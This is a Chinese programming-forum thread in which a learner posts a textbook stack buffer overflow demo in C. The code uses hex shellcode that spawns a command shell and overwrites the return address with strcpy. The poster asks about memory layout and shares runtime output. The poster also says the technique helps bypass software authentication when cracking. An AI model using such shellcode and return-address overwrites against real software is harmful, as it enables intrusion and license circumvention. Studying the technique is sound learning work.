| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1492 人关注过本帖
标题:一段程序求姐
取消只看楼主 加入收藏
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
结帖率:59.52%
收藏
已结贴  问题点数:20 回复次数:18 
一段程序求姐
#include <string.h>
#include "stdio.h"
char shellcode[] =
{
0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8,
0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89,
0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45,
0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC,
0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4,
0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0
};
char large_string[128];
void main(){
    char buffer[96];
    int i;
    int *larg_ptr=large_string;      //将char字符数组的首地址赋值给一个int 类型的指针,进行int 格式的引用,针对内存的读取方式改变
    for(i=0;i<32;i++)                 
        *(larg_ptr+i)=buffer;    // 将32位buffer的地址放入large_string 的整个数据块中
    for(i=0;i<strlen(shellcode);i++)
        large_string[i]=shellcode[i];   //将shellcode的内容按照字节方式放进large_string中
    strcpy(buffer,large_string);        //字符的copy 将larg_string 数据块复制到buffer所指向的数据块中,按字符方式进行
    for(i=0;i<24;i++)
        printf("%d\n",((int*)buffer)[i]);      //这里是强制类型转换输出结果,意思是将char型指针内型强制转换成int型进行内存操作
        printf("%d\n",buffer);
}
疑问1. 打印buffer的地址 与  printf("%d\n",((int*)buffer)[i]); 的对比  
数组larger[128]首先全部存放buffer地址后,再将shellcode[] 从头放进去 也就是larger里面存放内容应该是52个字节的 shellcod里的内容 +(128-52)/4个buffer  的地址 组成的
通过函数strcpy  将larger数组的内容copy到这个buffer[96]中
那么这个buffer[96]里面就应该包含了shellcode的内容 和11个buffer的地址

那么对数组buffer[]的打印里应该有 buffer的地址值在里面
打印出来的结果除了  一个数值是和 buffer的地址相同外 其他的都不相同  , 求解释

疑问2   在函数中 有两个全局变量 和 局部变量 buffer[]  
利用printf()出 这几个变量的内存地址  发现 局部变量和 全局变量根本就不在同一内存块中

操作系统在调用main函数的时候 是首先将要传送给main函数的变量先入栈后 还有eip入栈后 在进行函数调用
函数调用的序前工作是
设置堆栈
pushl ebp
movl ebp,esp
subl esp,xx
函数运行过程中变量需要的内存大小 是有xx 决定的
要多大就给多大的内存
从esp所指的地方开始 按变量声明的顺序逆序的从低地址向高地址存放
 这个在局部变量中 是成立的
这个全局变量在内存中 怎么开辟的数据区域  求解释


另附带对程序附带作用,这个是最基本的 数据堆栈溢出的程序
就是利用写内存的方式 将内存区的 函数返回地址ret点的数据修改成指向数组buffer的地址上,而这个地址上放的是可执行的机器码 来达到运行自己想要的程序
这个方式是直接将机器码写进去

还有一种方法是写跳转指令 jmp  来达到这个目的
首先肯定是要将自己的程序写进内存中

中心思想是修改ret 程序还回的地址值
嘿嘿,这个可以用来绕过某些程序的运行跳到程序的另一部分去运行的,这个对破解软件来说 最好是这样就能躲过什么认证 什么认证的

还附带一个问题
int main()
{
  printf("%d,%d\n",main,&main);
}
这个程序里的main和&main的值分别代表的什么意思啊 两个值打印出来一摸一样  这个不好理解啊


[ 本帖最后由 zhu224039 于 2012-11-21 05:31 编辑 ]
搜索更多相关主题的帖子: include 
2012-11-21 04:23
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
坛子里也不让上传图片了,郁闷 只好用文字表达了
这么小一个程序学问真的不少啊
求姐啊,有木有人在啊

[ 本帖最后由 zhu224039 于 2012-11-21 05:18 编辑 ]

我要成为嘿嘿的黑客,替天行道
2012-11-21 04:48
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
敢问楼上的 你那个汇编是怎么弄出来的啊

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:04
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
能不能在汇编前面弄出个地址出来啊

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:05
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
D:\Microsoft Visual Studio 9.0\VC>cl /FA a.c

为什么我的 vc里面没有 cl 这个东西啊 、

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:10
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
-1957304949
216826860
1836016568
1869442413
-196769437
1684955576
-129660626
1836016568
-62551774
1435030067
-196768257
-1742423984
-788563967
1244960  --------------》就这个地址和后面的是对上了,后面的都对不上、
-858993460    ----------》如果是上面我copy过来的机器代码有问题的话
-858993460    ----------->上面那个是对的地址应该是 当时堆栈中放ebp的地方
-858993460    ------------> 这个对的地址是覆盖掉了ebp的值 后面的东西估计
-858993460    ------------->就不知道是哪来的东西了
-858993460
-858993460
-858993460
-858993460
-858993460
-858993460
1244960

这个是我运行的情况

[ 本帖最后由 zhu224039 于 2012-11-21 09:29 编辑 ]

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:23
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
正确的话 应该是 弹出 dos 窗口

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:24
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
这个不同的机器 结果不一样?

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:35
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
  你64的 啊  那要修改下程序才可以啊
你把 int *larg_ptr=large_string  这代码改下
改成 long *larg_ptr=(long*)large_string
看看 long 固定是4个字节 32位的
或者修改下面的看看
char large_string[128*4];
void main(){
    char buffer[96*4];
    int i;
    int *larg_ptr=large_string;      //将char字符数组的首地址赋值给一个int 类型的指针,进行int 格式的引用,针对内存的读取方式改变
    for(i=0;i<32*4;i++)                 
        *(larg_ptr+i)=buffer;    // 将32位buffer的地址放入large_string 的整个数据块中
    for(i=0;i<strlen(shellcode);i++)
        large_string[i]=shellcode[i];   //将shellcode的内容按照字节方式放进large_string中
    strcpy(buffer,large_string);        //字符的copy 将larg_string 数据块复制到buffer所指向的数据块中,按字符方式进行
    for(i=0;i<24;i++)
        printf("%d\n",((int*)buffer)[i]);      //这里是强制类型转换输出结果,意思是将char型指针内型强制转换成int型进行内存操作
        printf("%d\n",buffer);
}


[ 本帖最后由 zhu224039 于 2012-11-21 09:40 编辑 ]

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:36
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
编程小菜鸟 对这 32 64 一点都不了解
我是从80X86  16位汇编走出来的

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:43
快速回复:一段程序求姐
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017069 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved